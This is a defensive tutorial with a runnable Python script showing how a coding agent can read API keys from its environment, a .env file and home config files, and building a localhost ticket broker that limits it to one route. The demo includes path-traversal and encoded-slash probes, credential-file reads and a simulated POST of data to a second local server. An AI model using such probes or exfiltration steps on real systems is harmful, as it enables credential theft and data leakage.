All guides

Your coding agent can read your API keys. Give it a ticket instead. Build the broker in Python

You launch a coding agent or tool loop on a machine that holds deploy tokens and API keys. Clearing secret variables from the child process environment feels safe, yet the agent can still open your project .env file or home-directory config files, and any raw bearer token you hand it works on every route until you rotate it. By the end of this guide you can:

  • Reproduce the three local paths that expose a raw API token to an agent subprocess: inherited os.environ, a project .env file, and same-user home files.
  • Build a small 127.0.0.1 HTTP ticket broker in standard library Python that swaps a 32-byte random ticket for a hidden Bearer token on one allowed route for 600 seconds.
  • Verify what the broker blocks (wrong or expired tickets with 401, unlisted routes and path tricks with 403) and why stopping data exfiltration still requires network egress rules and OS isolation.

You need Python 3.12 or newer. No API key, no external network and no packages to install.

Every secret below uses a fake DEMO_* name, and all three servers bind only to 127.0.0.1. Python's http.server is a local teaching sketch, not a production proxy.

Before you start

You should know Python functions, subprocess.run, and basic HTTP requests. If not, open these first. The first three links open a roadmap for that topic (sign in to create one), and the next three open related guides here.

  1. Environment variables and child processes in Python. A child process inherits its parent environment unless you pass an explicit env dictionary.
  2. HTTP headers, status codes and Bearer tokens. The broker returns 401 for bad tickets, 403 for blocked routes, and 200 on the one route it forwards.
  3. OS users, containers and network loopback. Steps 3 and 6 show what crosses a localhost proxy when two processes share one user or full network access.
  4. Did a hijacked PyPI package run on your machine? Audit Python startup hooks and pick a cooldown. Shows how untrusted Python startup lines read environment variables before your own script starts.
  5. Retry a timed-out agent tool call without refunding twice. Covers safe retries on write calls; here the broker blocks destructive calls such as DELETE outright.
  6. Turn a failed agent run into an eval that blocks the release. Turns saved agent failure cases into a CI check that blocks a bad change before deploy.

The question

Suppose your coding agent only needs to read open issues from one repository (GET /repos/demo/issues) for the next ten minutes. If you pass your real token, a prompt injection or buggy tool script can read another repository, send DELETE /repos/demo, or copy the token out where it stays valid until someone revokes it.

OWASP LLM06:2025 (Excessive Agency) warns against relying on instructions to restrain an agent and recommends enforcing least privilege on downstream systems instead. What does stripping os.environ actually close, what stays exposed on disk, what does a short-lived localhost ticket broker stop, and what still leaks without an OS and network sandbox?

Six words we use

Inherited environment
By default, Python's subprocess.run passes the parent's environment variables to the child. Passing a non-None env dictionary replaces them.
Isolated mode (-I)
A Python command-line flag that ignores PYTHON* environment variables and omits the current folder and user site-packages from sys.path.
Capability ticket
A short-lived random token that grants only specific actions at a broker. Ours comes from secrets.token_urlsafe(32), which encodes 32 random bytes (256 bits) into at least 43 URL-safe characters.
Constant-time check
Comparing two strings with secrets.compare_digest so the time taken does not reveal how many leading characters matched.
Path traversal
Using .. segments or percent-encoded slashes such as %2f to trick a proxy check on /repos/demo/issues into reaching another upstream path.
Egress allowlist
A firewall or sandbox rule that blocks outbound network traffic except to approved destinations. Without it, an agent can send allowed API responses to another host.

Worked example

Test the three local leak paths first, then put a 10-minute route broker on 127.0.0.1 and check both its blocks and its exfiltration boundary.

Local secret paths (Steps 1 to 3) and the 127.0.0.1 broker boundary (Steps 4 to 6)

Why cleaning environment variables alone still leaks keys on one user account:

  1. Step 1: Inherited env

    ['DEMO_DEPLOY_TOKEN', 'DEMO_LLM_API_KEY']

    Pass a minimal env dict to subprocess.run.

  2. Step 2: Project .env

    DEMO_DEPLOY_TOKEN=fake-deploy-token-5f3a

    Run the agent in a clean copy that excludes .env* files.

  3. Step 3: Same-user home file

    token=fake-deploy-token-5f3a

    Run the agent as a separate OS user, container, or VM.

Swapping a short-lived ticket at the broker protects the token, while egress rules protect the data:

  1. 1. Agent child process

    Gets BROKER_URL and a 600s X-Agent-Ticket. Real token in os.environ: false.

  2. 2. Local broker (127.0.0.1)

    Checks compare_digest, expiry, and ('GET', '/repos/demo/issues') with no % or .. segments. Returns 401 or 403 otherwise.

  3. 3. Upstream API + egress boundary

    Upstream sees 2 valid Bearer calls (200). Step 6: agent still POSTs allowed JSON to Elsewhere (200) unless egress is blocked.

  1. Inherited shell environment

    The script starts a child Python process in isolated mode (-I) and passes SHELL_SECRETS on top of BASE_ENV. Even though -I ignores PYTHON* variables, the child still sees ['DEMO_DEPLOY_TOKEN', 'DEMO_LLM_API_KEY'] in os.environ because those keys were in the environment passed to subprocess.run.

  2. Filtered environment, same project folder

    Next we pass only BASE_ENV (PATH, SYSTEMROOT, TEMP, and TMP; Python's subprocess docs note that Windows needs a valid SYSTEMROOT to start sockets and child processes). Now DEMO_* keys in os.environ drop to [], yet running inside the work folder lets the child open .env and read DEMO_DEPLOY_TOKEN=fake-deploy-token-5f3a from disk.

  3. Clean workspace copy, same OS user

    shutil.copytree copies work into clean while ignoring .env*. Inside clean, reading .env prints no .env here. Then the child opens a simulated home credential file (.cloud-credentials) and prints token=fake-deploy-token-5f3a. Stripping env vars and copying the repo cannot hide ~/.ssh, ~/.aws, or CLI config files when the agent runs under your own OS user account. Closing Step 3 requires an OS boundary: a separate user, container, or disposable VM.

  4. Ticket broker on 127.0.0.1

    Instead of giving the agent fake-deploy-token-5f3a, the parent mints a 32-byte random ticket with secrets.token_urlsafe(32) (43 characters, True) and sets a 600-second expiry. The child receives only BROKER_URL and AGENT_TICKET. Inside Broker, valid_ticket uses secrets.compare_digest and checks clock[0] < expires. Next, allowed_route splits the request target with urllib.parse.urlsplit (which does not decode percent-encoded bytes), rejects any path containing % or .. segments, and checks (method, raw_path) in {('GET', '/repos/demo/issues')}.

    The child fires six probes plus one body read: list issues returns 200, other repo returns 403, delete repo returns 403, dot traversal (/repos/demo/issues/../../other/issues) returns 403, encoded slash (/repos/demo/issues%2f..%2f..%2fother/issues) returns 403, wrong ticket returns 401, and real token in env is false. Upstream records 2 calls total (the list-issues status probe with ?state=all and the body read), both authenticated with Bearer fake-deploy-token-5f3a. None of the 401 or 403 probes ever reach Upstream. Notice that Broker forwards self.path including ?state=all; a production broker also restricts query parameters, request bodies, TLS, and audit logs.

  5. After 601 seconds, ticket expiry versus a raw token

    Advancing clock[0] by 601 seconds puts the ticket past its 600-second TTL. Replaying that exact ticket against the broker now returns 401. By contrast, replaying the raw Bearer token directly against Upstream still returns 200 and keeps working until a human notices and rotates the secret. Where an upstream supports short-lived scoped tokens natively, such as GitHub App installation access tokens scoped to chosen repositories and permissions that expire after 1 hour, you can combine both.

  6. What the broker alone does not stop

    During Step 4, the child read the allowed response [{"id": 1, "title": "login fails"}] from GET /repos/demo/issues and sent it via HTTP POST to a second loopback server (ELSEWHERE_URL). Step 6 prints that exact JSON from Elsewhere. This is the core architecture lesson: a localhost credential broker protects the secret, whereas stopping exfiltration of allowed GET data requires deny-by-default network egress allowlists (such as dtkav/agent-creds) alongside OS user or container isolation for home-directory files.

Run it yourself

Save the code below as ticket_broker.py. The output shown here was captured on 22 November 2026 on Windows with Python 3.15.2. It uses only the standard library, binds three temporary servers to 127.0.0.1 on OS-chosen ports, uses fake DEMO_* values only, and shuts every server down in finally.

The command uses uv. Without uv, run python ticket_broker.py with Python 3.12 or newer.

ticket_broker.py
"""Local teaching sketch for /guides/coding-agent-secrets-ticket-broker.

Standard library only, loopback (127.0.0.1) only, fake DEMO_* secrets only.
http.server is not for production use; see the guide's limits section.
"""
import http.server
import json
import os
import secrets
import shutil
import subprocess
import sys
import tempfile
import threading
import urllib.error
import urllib.request
from pathlib import Path
from urllib.parse import urlsplit

REAL_TOKEN = "fake-deploy-token-5f3a"
SHELL_SECRETS = {
    "DEMO_DEPLOY_TOKEN": REAL_TOKEN,
    "DEMO_LLM_API_KEY": "fake-llm-key-91c2",
}
KEEP = {"PATH", "SYSTEMROOT", "TEMP", "TMP"}
BASE_ENV = {k: v for k, v in os.environ.items() if k.upper() in KEEP}
TTL = 600
ALLOWED = {("GET", "/repos/demo/issues")}
clock = [0.0]
tickets: list[tuple[str, float]] = []
seen_upstream: list[tuple[str, str, bool]] = []
exfil: list[bytes] = []


def valid_ticket(candidate: str | None) -> bool:
    if not candidate:
        return False
    return any(
        secrets.compare_digest(candidate, issued) and clock[0] < expires
        for issued, expires in tickets
    )


def allowed_route(method: str, raw_target: str) -> bool:
    raw_path = urlsplit(raw_target).path
    if "%" in raw_path or ".." in raw_path.split("/"):
        return False
    return (method, raw_path) in ALLOWED


class Quiet(http.server.BaseHTTPRequestHandler):
    def log_message(self, *args):
        pass

    def reply(self, status: int, body: bytes = b"") -> None:
        self.send_response(status)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self) -> None:
        self.handle_any()

    do_DELETE = do_POST = do_GET


class Upstream(Quiet):
    def handle_any(self) -> None:
        ok = self.headers.get("Authorization") == f"Bearer {REAL_TOKEN}"
        seen_upstream.append((self.command, urlsplit(self.path).path, ok))
        if not ok:
            return self.reply(401)
        if self.command == "GET" and urlsplit(self.path).path == "/repos/demo/issues":
            return self.reply(200, b'[{"id": 1, "title": "login fails"}]')
        self.reply(204)


class Broker(Quiet):
    def handle_any(self) -> None:
        if not valid_ticket(self.headers.get("X-Agent-Ticket")):
            return self.reply(401)
        if not allowed_route(self.command, self.path):
            return self.reply(403)
        request = urllib.request.Request(
            upstream_url + self.path,
            method=self.command,
            headers={"Authorization": f"Bearer {REAL_TOKEN}"},
        )
        with urllib.request.urlopen(request) as response:
            self.reply(response.status, response.read())


class Elsewhere(Quiet):
    def handle_any(self) -> None:
        length = int(self.headers.get("Content-Length", 0))
        exfil.append(self.rfile.read(length))
        self.reply(200)


def serve(handler):
    server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    return server, f"http://127.0.0.1:{server.server_port}"


def run_child(code: str, env: dict[str, str], cwd: Path | None = None) -> str:
    done = subprocess.run(
        [sys.executable, "-I", "-c", code],
        env=env,
        cwd=cwd,
        capture_output=True,
        text=True,
        timeout=30,
    )
    if done.returncode != 0:
        raise RuntimeError(done.stderr)
    return done.stdout.strip().splitlines()[-1]


def http_status(url: str, method: str = "GET", headers: dict[str, str] | None = None) -> int:
    req = urllib.request.Request(url, method=method, headers=headers or {})
    try:
        with urllib.request.urlopen(req) as resp:
            return resp.status
    except urllib.error.HTTPError as err:
        return err.code


PEEK_ENV = "import os; print(sorted(k for k in os.environ if k.startswith('DEMO_')))"
READ_DOTENV = "from pathlib import Path; p = Path('.env'); print(p.read_text().strip() if p.exists() else 'no .env here')"
READ_HOME = "import os; from pathlib import Path; print(Path(os.environ['DEMO_HOME'], '.cloud-credentials').read_text().strip())"

AGENT_PROBES = r"""
import json, os, urllib.error, urllib.request

base = os.environ["BROKER_URL"]
ticket = os.environ["AGENT_TICKET"]

def call(method, path, key=ticket):
    req = urllib.request.Request(base + path, method=method, headers={"X-Agent-Ticket": key})
    try:
        with urllib.request.urlopen(req) as r:
            return r.status, r.read()
    except urllib.error.HTTPError as e:
        return e.code, b""

results = {
    "list issues": call("GET", "/repos/demo/issues?state=all")[0],
    "other repo": call("GET", "/repos/other/issues")[0],
    "delete repo": call("DELETE", "/repos/demo")[0],
    "dot traversal": call("GET", "/repos/demo/issues/../../other/issues")[0],
    "encoded slash": call("GET", "/repos/demo/issues%2f..%2f..%2fother/issues")[0],
    "wrong ticket": call("GET", "/repos/demo/issues", "guessed-ticket")[0],
    "real token in env": any("fake-deploy-token" in v for v in os.environ.values()),
}
allowed_body = call("GET", "/repos/demo/issues")[1]
urllib.request.urlopen(
    urllib.request.Request(os.environ["ELSEWHERE_URL"], data=allowed_body, method="POST")
).read()
print(json.dumps(results))
"""

print("python", sys.version.split()[0])
upstream_server, upstream_url = serve(Upstream)
broker_server, broker_url = serve(Broker)
elsewhere_server, elsewhere_url = serve(Elsewhere)

try:
    with tempfile.TemporaryDirectory() as tmp_dir:
        tmp = Path(tmp_dir)
        work, clean, fake_home = tmp / "work", tmp / "clean", tmp / "home"
        work.mkdir()
        fake_home.mkdir()
        (work / "app.py").write_text("print('ok')\n", encoding="utf-8")
        (work / ".env").write_text(f"DEMO_DEPLOY_TOKEN={REAL_TOKEN}\n", encoding="utf-8")
        (fake_home / ".cloud-credentials").write_text(f"token={REAL_TOKEN}\n", encoding="utf-8")
        shutil.copytree(work, clean, ignore=shutil.ignore_patterns(".env*"))

        print("Step 1. Inherited shell environment")
        print("  DEMO_* keys visible:", run_child(PEEK_ENV, {**BASE_ENV, **SHELL_SECRETS}))

        print("Step 2. Filtered environment, same project folder")
        print("  DEMO_* keys visible:", run_child(PEEK_ENV, BASE_ENV))
        print("  project .env read:", run_child(READ_DOTENV, BASE_ENV, cwd=work))

        print("Step 3. Clean copy without .env, same OS user")
        print("  project .env read:", run_child(READ_DOTENV, BASE_ENV, cwd=clean))
        print("  home credential read:", run_child(READ_HOME, {**BASE_ENV, "DEMO_HOME": str(fake_home)}, cwd=clean))

        ticket = secrets.token_urlsafe(32)
        tickets.append((ticket, clock[0] + TTL))
        agent_env = {
            **BASE_ENV,
            "BROKER_URL": broker_url,
            "AGENT_TICKET": ticket,
            "ELSEWHERE_URL": elsewhere_url,
        }
        print("Step 4. Ticket broker on 127.0.0.1 (32-byte random ticket)")
        print("  ticket length >= 43 chars:", len(ticket) >= 43)
        print("  probe statuses:", run_child(AGENT_PROBES, agent_env, cwd=clean))
        print(
            "  upstream calls:",
            len(seen_upstream),
            "all authenticated with real token:",
            all(ok for _, _, ok in seen_upstream),
        )

        print("Step 5. After 601s (past 600s ticket TTL)")
        clock[0] += TTL + 1
        print(
            "  expired ticket via broker:",
            http_status(broker_url + "/repos/demo/issues", headers={"X-Agent-Ticket": ticket}),
        )
        print(
            "  raw bearer token direct to upstream:",
            http_status(upstream_url + "/repos/demo/issues", headers={"Authorization": f"Bearer {REAL_TOKEN}"}),
        )

        print("Step 6. What the broker alone does not stop")
        print("  allowed response posted to second host:", exfil[-1].decode("utf-8"))
finally:
    for srv in (upstream_server, broker_server, elsewhere_server):
        srv.shutdown()
Terminal
uv run --no-project python ticket_broker.py
Output on Python 3.15.2
python 3.15.2
Step 1. Inherited shell environment
  DEMO_* keys visible: ['DEMO_DEPLOY_TOKEN', 'DEMO_LLM_API_KEY']
Step 2. Filtered environment, same project folder
  DEMO_* keys visible: []
  project .env read: DEMO_DEPLOY_TOKEN=fake-deploy-token-5f3a
Step 3. Clean copy without .env, same OS user
  project .env read: no .env here
  home credential read: token=fake-deploy-token-5f3a
Step 4. Ticket broker on 127.0.0.1 (32-byte random ticket)
  ticket length >= 43 chars: True
  probe statuses: {"list issues": 200, "other repo": 403, "delete repo": 403, "dot traversal": 403, "encoded slash": 403, "wrong ticket": 401, "real token in env": false}
  upstream calls: 2 all authenticated with real token: True
Step 5. After 601s (past 600s ticket TTL)
  expired ticket via broker: 401
  raw bearer token direct to upstream: 200
Step 6. What the broker alone does not stop
  allowed response posted to second host: [{"id": 1, "title": "login fails"}]

Where you will see this

Several real-world tools already isolate credentials from coding agents, and we read each one on 22 November 2026. Antonio Mika's lend keeps gh and 1Password secrets on your laptop while forwarding a restricted socket into a disposable VM with local JSON policy, Touch ID prompts, and short leases; his post also shows why approving sh, env, or op leaks secrets or runs arbitrary commands over stdin. Pydantic's logfire gateway launch points coding tools at a 127.0.0.1 proxy with a one-off local bearer token while holding OAuth credentials in proxy memory and provider keys inside an upstream gateway with spend caps. And dtkav/agent-creds pairs macaroon capability tokens and per-agent Envoy route caveats with a Linux bwrap, gVisor, or runc network sandbox and strict DNS and egress allowlists, which closes the Step 6 exfiltration path.

Some APIs also mint short-lived narrow tokens directly. For example, GitHub App installation access tokens accept repositories and permissions fields and expire after 1 hour. What this guide adds is one zero-dependency Python script you can run on Windows, macOS, or Linux to see the three local leak paths, the ticket swap, traversal checks, expiry, and the egress limit side by side.

What this does not do

  • Python's http.server is a local teaching sketch, not a production proxy. The Python standard library docs warn explicitly that http.server is not recommended for production and implements only basic security checks.
  • Every secret in ticket_broker.py (DEMO_DEPLOY_TOKEN, DEMO_LLM_API_KEY, fake-deploy-token-5f3a, fake-llm-key-91c2) is fake, and all three servers bind to 127.0.0.1 on OS-assigned ports and shut down at the end of the script.
  • Our allowed_route check inspects the HTTP method and urlsplit(self.path).path, while Broker forwards self.path with its query string (?state=all) untouched. A production credential broker also validates query parameters, request bodies, request size limits, upstream TLS certificates, timeouts, and append-only audit logs.
  • Running the broker and the agent under the same OS user leaves home-directory files, browser profiles, and local sockets readable, as Step 3 showed. In real setups the broker runs on the host or in a separate container while the agent runs inside an unprivileged user, container, or VM.
  • As Step 6 proved, hiding the API token does not stop an agent with open network access from posting allowed read responses to an external server. Pair the broker with a network egress allowlist so the agent can talk only to the broker.
  • We ran ticket_broker.py on Windows with Python 3.15.2 on 22 November 2026. On Windows, BASE_ENV keeps SYSTEMROOT so child processes can initialize sockets cleanly.

Before you install third-party packages into an environment that holds credentials, see how to audit Python startup hooks and pick a release cooldown. When an agent is allowed to call write endpoints, pair narrow permissions with an idempotency key for tool retries and an eval gate in CI. More guides are on the guides page.

Explore this topic in the workspace

Topic Breakdown gives you a structured revision guide for this topic and lets you highlight any phrase to open side-by-side chats with worked examples. Sign in to open it.

Open breakdown

Or type How to run AI agents safely: permissions, secrets and sandboxes into the topic box on the home page. Want to inspect a full lesson before signing in? Open the sample breakdown on Machine Learning.

Sources

All sources were checked on 22 November 2026. Read each page for the full context.